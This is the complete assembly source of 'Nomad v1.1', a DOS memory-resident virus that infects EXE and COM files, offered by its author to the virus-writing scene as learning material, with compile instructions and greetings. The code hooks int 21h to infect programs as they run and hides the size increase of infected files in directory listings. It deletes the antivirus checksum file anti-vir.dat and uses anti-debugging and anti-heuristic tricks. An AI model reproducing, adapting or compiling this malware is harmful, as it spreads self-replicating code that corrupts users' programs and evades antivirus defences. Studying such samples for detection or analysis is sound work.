;  :   :           ķ          : ķ  :
;   :      : [  Nomad v1.1 by SeptiC  ]   : ļ      : ļ
;                      Ľ Started 98/12/XX    
;             ** Resident Semi-stealth exe/com infector **              
;                                                                       
;      This is the second version of the virus, but actualy there               
;      have been several versions but only this and the first has
;      been released. It's kind of an experimental virus of mine
;      I learned a lot while coding it, and that was the whole point. 
;      So now it's your turn, maybe you could learn something from
;      this source. The virus itself is not very originaly that's 
;      because I was still learning while I wrote it, later viruses
;      of mine might be more pioneering. As I said you won't find
;      any new raving technics, just plain old school. 
;
;      Infection :
;      The virus infects exe/com files on execute (4bh). It infects
;      the file in normal appending manner, no mid-file infection here...
;      I could note that it marks the second field of the infected files
;      as an stealth marker (58 sek)
;
;      Stealth :
;      Semi-Stealth, it hides the size increase in dos systems (not win95).
;      I think there is some ways to hide it in win95 aswell but as I said
;      this was an learning experience of mine. It stealth on 11h, 12h
;      and 4eh, 4fh (all int21h).
;
;      Retro :
;      The virus deletes the anti-vir.dat in the starting directory
;      of the infected file. I was going to add anti-virus program
;      recognization but I realized that sft doesn't work in win95
;      (thanks darkman for that info! ;)) So I'll add the working
;      stuff in a later version.
;
;      Armor :
;      The avarage dissembler might have an hard time going through the
;      code (hopefully). It contains several anti-debuging tricks
;      like turning the keyboard off, "endless loops" and some other
;      tricks.
;
;     What to come in later versions:
;
;    * Infection of Enun-Com files (directly of win.com so it will allways
;      will be resident.   
;    * Strong encyption or Oligomorphic or even Polymorphic.
;    * Infection on close/open/set/change attributes
;    * Maybe Mbr/bs infection
;
;     Special thanks :
;     As this was an learning experience, I would like to thank
;     the people who have help me and written very nice tutoials/viruses
;
;     1. Billy Belcebu - Your virus writing tutorial rocks! :))
;                        "Don't fear the eyes of the dark lord" /BG
;     2. Codebreakers  - I like your attitude and your
;                        tutorials is easy to learn.
;     3. Vecna, Griyo  - Mostly your code are far above me,
;                        but they inspired me in keep on writing.
;     4. T-2000        - Thanks for debuging and help. Soulfly
;                        is great and fearfactory ;))
;     5. Techno Phunc  - For giving me advice.                
;                        I'll add that infection on close/open later ;)
;     6. Darkman       - Thanks for giving me a second chance. 
;
;     Compile : Tasm /m2 nomad.asm, Tlink nomad.obj
;     Execute : nomad, or dubbelclick in explorer (but it won't spread) ;)
; :                                                                  :ķ
;:    ļ   :
;                  ķ
;:    Greetz :                                                               :   
;  Billy_Bel, Darkman, Techno_Phunc, Urgo32, Vecna, Veedee, Simon7             
;  Flitnic, Lord_Arz, Virus-X, Owl, T-2000, Griyo, Opic, Serial Killer      
;                                                                           :
;                  ļ



  travel segment
  assume cs:travel, ds:travel, es:travel
  .286         
  jumps        ; popa and pusha is used
  org 00h      ; First generation is exe file

first_gen:


start:

  push ds      ; push ds to stack
 
  push cs      ; push cs (codesegment) twise 
  push cs      ;
  pop ds       ; ds=cs
  pop es       ; es=cs

   mov cx,0ffffh ; times to loop
   fuck_tbclean:  ;
   jmp eternal    ;  It will take quite some time
   mov ax,4c00h   ;  too get through all the loops in this   
   int 21h        ;  code through debug >:)   
   eternal:       ;  Some anti-virus utils doesn't like it eighter,                    
   int 3h         ;  like for instance Tbclean
   loop fuck_tbclean ; 

   neg sp
   neg sp


  call    get_delta ; Get the delta offset

  in      al,21h                  ; 
  or      al,02h                  ; Dissable Keyboard, huh...
  out     21h,al                  ;

  int 3h


   call delete_crc ; Delete the Tbav crc file in current directory

   mov ah,2ch ; Get random value
   int 21h   


    cmp dl,6   ; Is it bigger than six?
    ja dorm    ; If so skipp payload


   mov ah,9h       ; Print message
   lea dx,[bp+msg] ; load into dx
   int 21h

   dorm:
   

  push 6660h ; are we there?........
  pop ax

  int 21h

  cmp bx,'TI'   ;
  je restore    ; Yeah, allready resident, restore control back to host.
 
  pop ds            ; 
  push ds           ; Save psp on stack

  mov     bx,ds ; Use bx instead of DS
  dec     bx    ; bx = MCB
  mov     ds,bx ; values from bx (mcb position) into -> DS

  sub     word ptr ds:[03h], (travel_end - start+15)/16+1 ; substract virus size
  sub     word ptr ds:[12h], (travel_end - start+15)/16+1 ; substract virus size
  mov     bx,ds:[12h]
  mov     ds,bx
  inc     bx
  mov     es,bx
  mov     ax, 1600h
  int     2fh
  or      al,al
  jnz windowz

  mov     byte ptr ds:[00h], 'Z' ; end in Mcb chain
  windowz:
  mov     word ptr ds:[01h], 08h
  mov     word ptr ds:[03h], (travel_end - start+15)/16


  push    cs                      ; Adjust segments
  pop     ds                      ; CS = DS

  xor     di,di                   ; DI = 0 ( Top Of Memory )
  mov     si,bp                   ; SI = offset of the virus in file
  mov     cx,travel_end - start           ; CX = the virus body (size)
  rep     movsb                   ; Move bytes from DS:SI to ES:DI

  xor ax,ax
  mov ds,ax                  ;mov value in ax to ds (empty)
  mov ax,es                  ;Move value in es into ax
  mov bx,new_int21h-start    ;our new int 21h handler

  cli                          ; dissable interrupt calls
  xchg bx,word ptr ds:[21h*4]  ; 
  xchg ax,word ptr ds:[21h*4+2] ;
  mov word ptr es:[old_int21h-start],bx ; save old int 21h
  mov word ptr es:[old_int21h+2-start],ax ; save old int 21h
  sti                               ; enable interrupt calls


  push cs                           ;    
  push cs                           ;
  pop ds                            ; ds=cs
  pop es                            ; es=cs
 
 
restore: 

        in      al,21h                  ; 
        and     al,not 2                ; Thanks Billy_Bel
        out     21h,al                  ; for your excellent 
                                        ; tutorial ;)
        int 3h                          ; Just for Fun :)

        cmp     byte ptr [whatami+bp],1 ; are we in com file?
        jne      Restore_EXE            ; Nope we are in exe

restore_com:

        mov cx,4                        ; bytes to read        
        lea  si,[bp+saved]              ; location of original bytes
        push 100h                       ; antiheur... point 100h to di
        pop di                          ;

        rep movsb                       ; move 4 bytes into 100h (restore com)


        push 100h                       ;antiheur... point 100h to di
        pop di                          ;

        Jmp short $+2

        push    di                      ; Push di to stack
        ret                             ; return... Now com file is restored
                                        ; (in memory)
restore_Exe:


  lea si,[bp+old_ip]                    ; stored ip
  lea di,[bp+original_ip]               ; load the old ip into di
  mov cx,4                              ; 4 bytes...
  rep movsw                             ; move it!

  pop ds                                ; restore the psp
  mov ax,ds                             ; ds into ax
  mov es,ax                             ; ax into es (ES=DS)
  add ax,10h                            ; add 10h to ax


  add word ptr cs:[bp+original_cs],ax   ; restore old cs
  cli                                   
  add ax,word ptr cs:[bp+original_ss]   ; restore old ss
  mov ss,ax
  mov sp,word ptr cs:[bp+original_sp]   ; restore old sp
  sti

 Jmp short $+2
 
 db 0eah                                ; Exe restoration complete
 original_ip dw ?                     
 original_cs dw ?
 original_ss dw ?
 original_sp dw ?
 
 


 new_int21h:                          

  cmp ax,6660h
  je show_res

  xchg ah,al                    ; antiheur...
  cmp     al,4bh                ; Is it a execute?
  xchg ah,al                    ; antiheur...
  jne check_dir
  jmp infect

check_dir:

  xchg ah,al                    ; antiheur...
  cmp al,11h        ; this is a part of viral
  xchg ah,al                    ; antiheur...
  je dir_stealth

  xchg ah,al                    ; antiheur...
  cmp al,12h
  xchg ah,al                    ; antiheur...
  je dir_stealth

  xchg ah,al                    ; antiheur...
  cmp al,4eh                      ;or function 4eh, 4fh
  xchg ah,al                    ; antiheur...
  je dir_stealth_2
  xchg ah,al                    ; antiheur...
  cmp al,4fh
  xchg ah,al                    ; antiheur...
  je dir_stealth_2

 return:
  db 0eah                       ; return from int 21h
  old_int21h dd ?               ; old int 21h

show_res:

  push 'TI'                        ; allready in!!!! 
  pop bx                            
  iret                          ; return from int 21h     



dir_stealth:
    pushf			    ;simulate a int call with pushf
    push cs			    ;and cs, ip on the stack
    call return
    or al,al			    ;was the dir call sucessfull??
    jnz skip_dir		    ;if not skip it

    push ax bx es		    ;preserve registers in use

    mov ah,62h			    ;same as 51h - get current PSP to es:bx
    int 21h
    mov es,bx
    cmp bx,es:[16h]		    ;is the PSP ok??
    jnz bad_psp			    ;if not quit

    mov bx,dx
    mov al,[bx]			    ;al holds current drive - FFh means
    push ax			    ;extended FCB
    mov ah,2fh			    ;get DTA-area
    int 21h
    pop ax
    inc al			    ;is it an extended FCB
    jnz no_ext
    add bx,7			    ;if so add 7
no_ext:
    mov al,byte ptr es:[bx+17h]	    ;get seconds field
    and al,1fh
    xor al,1dh			    ;is the file infected??
    jnz no_stealth		    ;if not - don't hide size

    cmp word ptr es:[bx+1dh],(travel_end-start)
    ja hide_it				    
    cmp word ptr es:[bx+1fh],0		    ;it can't be infected
    je no_stealth			    ;so don't hide it
hide_it:				    
    sub word ptr es:[bx+1dh],(travel_end-start)
    sbb word ptr es:[bx+1fh],0
no_stealth:
bad_psp:
    pop es bx ax		    ;restore regs
skip_dir:
    iret			    ;return to program

dir_stealth_2:
    pushf		            ;simulate a int call - push flags, cs and
    push cs		            ;ip on stack and jump to int handler
    call return
    jc eofs		            ;if no more files - return

    push ax es bx	            ;preserve registers
    mov ah,2fh		            ;get DTA-area
    int 21h

    mov ax,es:[bx+16h]
    and ax,1fh			    ;is the PSP ok??
    xor al,29
    jnz not_inf			    ; if not - jmp

    cmp word ptr es:[bx+1ah],(travel_end-start)
    ja sub_it
    cmp word ptr es:[bx+1ch],0
    je not_inf
sub_it:
    sub word ptr es:[bx+1ah],(travel_end-start)
    sbb word ptr es:[bx+1ch],0
not_inf:
    pop bx es ax		    ;restore registers
eofs:
    retf 2			    ;return and pop 2 of stack


 infect:
  pusha                         ; push all registers      

  push ds                      
  push es                       

  call tsr_delta                ; This is totaly uneccesary :)
                                ; Just a waste of space, but didn't
                                ; want to rewrite fullyworking
                                ; rutines :)

  mov ax,3d02h                  ; Open it for read write
  int 21h                       ; yeah!
  jc exit                       ; On error exit! (cheap error handler ;))
 
  xchg ax,bx                    ; File handler better in bx      
 
  push cs                       ; Push cs twise!!! 
  push cs                       ;
  pop ds                        ; CS=DS=ES
  pop es                        
                                
  push 5700h                    ; Basic "stealth"
  pop ax                        ; save the date and time...
  int     21h                   ;
  push    dx                    
  push    cx                    

  mov ah,3fh                    ; read some bytes...
  mov cx,1ah                    ;
  lea dx,[bp+header]            ; store it here...      
  int 21h                       ;
  



   cmp     byte ptr [header+bp],'M' ; check if exe
   je      exe_inf                  ; yeah, it's exe 
                                                
   cmp     byte ptr [header+bp+1],'Z' ; same as above 
   je      exe_inf                    ; yupps, it's exe
   jmp com_inf                        ; OK then it must be a com file



  exe_inf:

  mov     byte ptr [whatami+bp],0 ; remember your roots ;)

  cmp word ptr cs:[bp+header+12h],'V' ; Check for infection mark in exeheader 
  je close                            ; Darn! It was infected.



  call save_header                     ; Save the CS:IP and SS:SP etc etc 
 
  mov ax,4202h                         ; Goto end of file 
  xor cx,cx                            ;
  cwd                                  ; xor dx,dx 
  int 21h                              ; 
  
 
  push ax                              ; Save file size 
  push dx                              


  mov cx,16                            ; Turn from bytes to paras  
  div cx                               ; 
  sub ax,word ptr cs:[bp+header+8]     ; substract exe header size  
  mov word ptr cs:[bp+header+14h],dx     ; New instruction pointer  
  mov word ptr cs:[bp+header+16h],ax     ; change segment correction for CS
  mov word ptr cs:[bp+header+10h],0fffeh ; Change stack.
  pop dx                                 ; restore file size
  pop ax                                 
  add ax,travel_end - start              ; Add virus size to it
  adc dx,0                               ;
  mov cx,512                             ; Turn into pages (512 bytes clusters)
  div cx                                 ; 
  cmp dx,0                               ; Check if reminder exist
  je no_remainder                        
  inc ax                                 
  no_remainder:                          
  mov word ptr cs:[bp+header+4],ax       ; New program lenght
  mov word ptr cs:[bp+header+2],dx       ; Set new Partpage
                                         
  mov al,3eh                ; Write the virus to the end of file.
  add al,2                  ; Anti-heuristic look ;)
  xchg ah,al                ;       
  lea dx,[bp+start]         ; Start of virus
  mov cx,travel_end - start ; Virus size
  int 21h                   ;

 
  mov ax,4200h              ; Goto beginning of file         
  xor cx,cx                 ;
  cwd                       ; xor dx,dx 
  int 21h                   ;
  
 
  mov al,3eh               ; Write the new virus header
  add al,2                 
  xchg ah,al                      
  lea dx,[bp+header]
  mov cx,1ch
  int 21h
  

  close:

  push 5701h  ; restore time date
  pop ax      ; also anti-heuristic
  pop     cx  
  pop     dx  
  or cl,00011101b
  and cl,11111101b
  int 21h

  mov al,3ch  ; Close file 
  add al,2
  xchg al,ah      
  int 21h
  


 exit:

          pop     es  ; The values in ES and DS was pushed in
          pop     ds  ; the start of the infection rutine
          popa        ; restore all registers
          jmp return

com_inf:

        mov cx,4        ; Get only the first 4 bytes of the shit saved
        lea     di,[saved+bp] ; earlier....
        lea     si,[header+bp]   
        rep movsb                    

        call check_com ; Check for infection markeer
        jc close_com ; Return error flag.... Already infected

        mov     byte ptr [whatami+bp],1 ; Remember that you are Com..

        mov     ax,4202h ; Goto end of file
        xor     cx,cx   
        cwd             
        int 21h
         

        sub     ax,3 ; Remove three bytes from file size        
        mov     word ptr [bp+newjump+1],ax ; Insert this value into Newjump 
                                           ; (this is where the virus,
        mov     ax,4200h                   ;  will be located in the file)
        xor     cx,cx                      ; Goto beginning of file
        cwd                                
        int 21h
        

        mov al,3eh               
        add al,2                 
        xchg ah,al                      
        lea     dx,[bp+newjump]           ; Write the jump!  
        mov     cx,4                       
        int 21h
         

        mov     ax,4202h                 ; Back to end of file!  
        xor     cx,cx                      
        cwd                                
        int 21h
        



        mov al,3eh               
        add al,2                 
        xchg ah,al                      
        lea     dx,[bp+start]              ; Write virus body!
        mov     cx,travel_end-start           
        int 21h


close_com:

  push 5701h ; Restore time date
  pop ax

  pop     cx
  pop     dx
  or cl,00011101b
  and cl,11111101b
  int 21h

  mov al,3ch ; Close file
  add al,2                       
  xchg al,ah                     
  int 21h
        


        jmp exit

Check_com:
        cmp     byte ptr [saved+bp+3],'V' ; Check if already infected
        je      Is_Infected
        clc     ; no error flag set
        ret
Is_Infected:
        stc     ; error flag set!
        ret







Get_delta:
        call    next
next:
        mov di,sp     ; Waste-of-space-but-undetected-way-of-getting-delta
        mov sp,di     ; -offset!          
        mov di,sp     ;           
        mov bp, word ptr ss:[di]  
        sub bp, offset next     
        inc sp                                        
        inc sp                  
        ret                     





delete_crc:

        mov al,3eh                     
        add al,3                       
        xchg ah,al                      

        lea     dx,[tbav_crc+bp] ; Delete this one :)
        int 21h
        

        ret


tbav_crc  db 'anti-vir.dat',00h

not_start:




tsr_delta:
        call    tsr_do
tsr_do:
        mov di,sp ; This is just a WASTE of bytes, but who cares ;)
        mov sp,di                
        mov di,sp                
        mov bp, word ptr ss:[di] 
        sub bp, offset tsr_do
        inc sp                                        
        inc sp
        ret


save_header:                         ; Mark header (V)
                                     ; and save some old stuff
  mov word ptr cs:[bp+header+12h],'V'
  mov ax,word ptr cs:[bp+header+14h] 
  mov word ptr cs:[bp+old_ip],ax     
  mov ax,word ptr cs:[bp+header+16h]       
  mov word ptr cs:[bp+old_cs],ax            
  mov ax,word ptr cs:[bp+header+0eh]       
  mov word ptr cs:[bp+old_ss],ax
  mov ax,word ptr cs:[bp+header+10h]       
  mov word ptr cs:[bp+old_sp],ax
  ret

msg db 10,13,10,13
     db '               [Nomad By SeptiC]ķ',10,13
     db '               :   Travling through the time,   :',10,13
     db '                 Moving slowly in your files,  ',10,13
     db '                  Knowledge is the weapon,     ',10,13
     db '               :  That makes my travel fast.    :',10,13
     db '                [-Nomad v 1.1-] ļ',10,13,'$'

  header db 1ch dup(?)                      
  whatami db      0
  saved   db 0cdh,20h,0,0                   
  newjump db 0e9h,0,0,'V'                   

not_end:

 old_ip dw offset exit_prog
 old_cs dw 0
 old_ss dw 0
 old_sp dw 0fffeh


  travel_end:
 
 exit_prog:
  mov ax,4c00h                             
  int 21h
 
travel ends
end first_gen
